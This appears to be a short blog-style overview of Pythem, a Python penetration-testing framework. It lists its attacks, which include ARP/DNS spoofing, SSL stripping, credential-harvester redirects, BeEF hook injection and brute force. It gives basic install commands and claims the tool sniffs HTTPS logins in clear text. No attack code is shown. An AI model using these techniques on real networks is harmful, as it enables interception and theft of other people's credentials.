Pythem is a multi-purpose pentest framework written in Python. It has been developed to be used by security researchers and security professionals. The tool intended to be used only for acts within the law.
Features –
- Only runs on GNU/Linux OS.
- Based on Python
- Easy to install and use
Supported attacks –
- ARP spoofing – Man-in-the-middle (MITM).
- Man-in-the-middle HSTS bypass – Strip SSL
- ARP+DNS spoof – fake page redirect to credential harvester
- DHCP ACK Injection spoofing – Man-in-the-middle
- Man-in-the-middle inject BeEF hook
- SSH Brute-Force attack.
- Web page formulary brute-force
- URL content buster
- Overthrow the DNS of LAN range/IP address
- Redirect all possible DNS queries to host
This tool is very useful for specially DOS and MITM attacks over LAN network. You can easily define the target, gateway and interface etc
Installation of Pythem –
Installation can be done via git clone by typing this command:
Command: git clone https://github.com/m4n3dw0lf/pythem
Before to run, we have to give full permissions to install executable binary file because we need to install some dependencies which you can easily find from requirements.txt file.
For permissions, the command is “chmod +x install“.
After complete installation, just type “pythem” in your terminal.
To view all commands and information about pythem, just type help in same terminal.

As soon as in target machine when someone login to gmail.com or any other https based site, it will sniff the login credentials in clear text as shown below:
Man-in-the-middle inject BeEF hook
Start BeEF xss framework and get the hook script url
